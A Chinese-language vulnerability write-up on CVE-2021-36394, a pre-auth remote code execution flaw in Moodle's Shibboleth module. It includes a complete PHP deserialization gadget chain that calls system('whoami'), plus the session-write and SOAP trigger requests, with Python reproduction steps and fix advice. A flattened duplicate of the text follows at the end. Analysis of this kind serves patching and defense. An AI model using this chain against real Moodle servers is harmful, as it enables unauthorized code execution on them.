Moodle 未授权远程代码执行分析(CVE-2021-36394)
字数 957 2025-08-03 16:46:35

Moodle 未授权远程代码执行漏洞分析(CVE-2021-36394)

漏洞概述

CVE-2021-36394 是 Moodle 学习管理系统中的一个高危漏洞,影响 Shibboleth 认证模块,允许攻击者在未授权的情况下实现远程代码执行。该漏洞由三部分组成:session 文件写入、Moodle 反序列化链构造和反序列化执行入口。

影响版本

  • Moodle 3.11
  • Moodle 3.10 至 3.10.4
  • Moodle 3.9 至 3.9.7
  • 早期不受支持的版本

前提条件:需要开启 Shibboleth 认证模块(默认不开启)

环境搭建

  1. 使用 Docker 搭建漏洞环境:

    docker-compose up -d
    
  2. 修改配置文件 /var/www/html/moodle-3.11.0/config.php

    $CFG->wwwroot = 'http://your-real-ip-address';
    

漏洞分析

1. Moodle 反序列化链构造

反序列化链利用多个类的魔术方法和接口实现:

  1. 入口点lib/classes/lock/lock.php 中的 __destruct 方法

    public function __destruct() {
        if ($this->is_owned()) {
            $this->release();
        }
    }
    
  2. 触发 __toString:通过 core\availability\tree 类的 __toString 方法

    public function __toString() {
        $text = '';
        foreach ($this->children as $child) {
            $text .= (string)$child;
        }
        return $text;
    }
    
  3. 命令执行点lib/classes/dml/recordset_walk.php 中的 current 方法

    public function current() {
        $record = $this->recordset->current();
        return call_user_func($this->callback, $record, $this->callbackextra);
    }
    

完整反序列化链构造代码:

<?php
namespace core\lock {
    class lock {
        public function __construct($class) {
            $this->key = $class;
        }
    }
}

namespace core_availability{
    class tree {
        public function __construct($class) {
            $this->children = $class;
        }
    }
}

namespace core\dml{
    class recordset_walk {
        public function __construct($class) {
            $this->recordset = $class;
            $this->callbackextra = null;
            $this->callback = "system";
        }
    }
}

namespace {
    class question_attempt_iterator{
        public function __construct($class) {
            $this->slots = array("xxx" => "key");
            $this->quba = $class;
        }
    }

    class question_usage_by_activity{
        public function __construct() {
            $this->questionattempts = array("key" => "whoami");
        }
    }

    class core_question_external{}

    $add_lib = new core_question_external();
    $activity = new question_usage_by_activity();
    $iterator = new question_attempt_iterator($activity);
    $walk = new core\dml\recordset_walk($iterator);
    $tree = new core_availability\tree($walk);
    $lock = new core\lock\lock($tree);

    $arr = array($add_lib, $lock);
    $value = serialize($arr);
    echo $value;
}

2. Session 文件写入

漏洞利用点位于 grade/report/grader/index.php

$graderreportsifirst = optional_param('sifirst', '', PARAM_NOTAGS);
$graderreportsilast  = optional_param('silast', '', PARAM_NOTAGS);

if ($graderreportsifirst !== '') {
    $SESSION->gradereport['grader']['sifirst'] = $graderreportsifirst;
}
if ($graderreportsilast !== '') {
    $SESSION->gradereport['grader']['silast'] = $graderreportsilast;
}

构造恶意请求将反序列化 payload 写入 session 文件:

/grade/report/grader/index.php?id=1&sifirst=aaaaaa|...serialized_payload...|bbbbbb

3. 反序列化执行入口

利用 Shibboleth 认证模块的 auth/shibboleth/logout.php 文件:

$inputstream = file_get_contents('php://input');
if (!empty($inputstream)) {
    $server = new SoapServer($wsdlfile, $options);
    $server->handle($inputstream);
}

构造 SOAP 请求触发反序列化:

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <LogoutNotification>
            <spsessionid>xxxx</spsessionid>
        </LogoutNotification>
    </soap:Body>
</soap:Envelope>

漏洞复现步骤

  1. 生成反序列化 payload:

    php moodle_unserialize_rce.php
    
  2. 构造 session 写入请求:

    write_url = target + "/grade/report/grader/index.php"
    data = {
        'id': '1',
        'sifirst': 'aaaaaa|...serialized_payload...|bbbbbb'
    }
    requests.post(write_url, data=data)
    
  3. 发送 SOAP 请求触发漏洞:

    headers = {'Content-Type': 'text/xml'}
    soap_body = """<?xml version="1.0" encoding="UTF-8"?>
    <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
            <LogoutNotification>
                <spsessionid>xxxx</spsessionid>
            </LogoutNotification>
        </soap:Body>
    </soap:Envelope>"""
    requests.post(target + "/auth/shibboleth/logout.php", headers=headers, data=soap_body)
    

修复建议

  1. 升级到 Moodle 最新版本
  2. 禁用 Shibboleth 认证模块(如果不需要)
  3. 实施网络访问控制,限制对 Moodle 管理接口的访问

参考链接

  1. Moodle Pre-Auth Shibboleth RCE Part1
  2. CVE-2021-36394 PoC
  3. Moodle 官方安全公告
Moodle 未授权远程代码执行漏洞分析(CVE-2021-36394) 漏洞概述 CVE-2021-36394 是 Moodle 学习管理系统中的一个高危漏洞,影响 Shibboleth 认证模块,允许攻击者在未授权的情况下实现远程代码执行。该漏洞由三部分组成:session 文件写入、Moodle 反序列化链构造和反序列化执行入口。 影响版本 Moodle 3.11 Moodle 3.10 至 3.10.4 Moodle 3.9 至 3.9.7 早期不受支持的版本 前提条件 :需要开启 Shibboleth 认证模块(默认不开启) 环境搭建 使用 Docker 搭建漏洞环境: 修改配置文件 /var/www/html/moodle-3.11.0/config.php : 漏洞分析 1. Moodle 反序列化链构造 反序列化链利用多个类的魔术方法和接口实现: 入口点 : lib/classes/lock/lock.php 中的 __destruct 方法 触发 __ toString :通过 core\availability\tree 类的 __toString 方法 命令执行点 : lib/classes/dml/recordset_walk.php 中的 current 方法 完整反序列化链构造代码: 2. Session 文件写入 漏洞利用点位于 grade/report/grader/index.php : 构造恶意请求将反序列化 payload 写入 session 文件: 3. 反序列化执行入口 利用 Shibboleth 认证模块的 auth/shibboleth/logout.php 文件: 构造 SOAP 请求触发反序列化: 漏洞复现步骤 生成反序列化 payload: 构造 session 写入请求: 发送 SOAP 请求触发漏洞: 修复建议 升级到 Moodle 最新版本 禁用 Shibboleth 认证模块(如果不需要) 实施网络访问控制,限制对 Moodle 管理接口的访问 参考链接 Moodle Pre-Auth Shibboleth RCE Part1 CVE-2021-36394 PoC Moodle 官方安全公告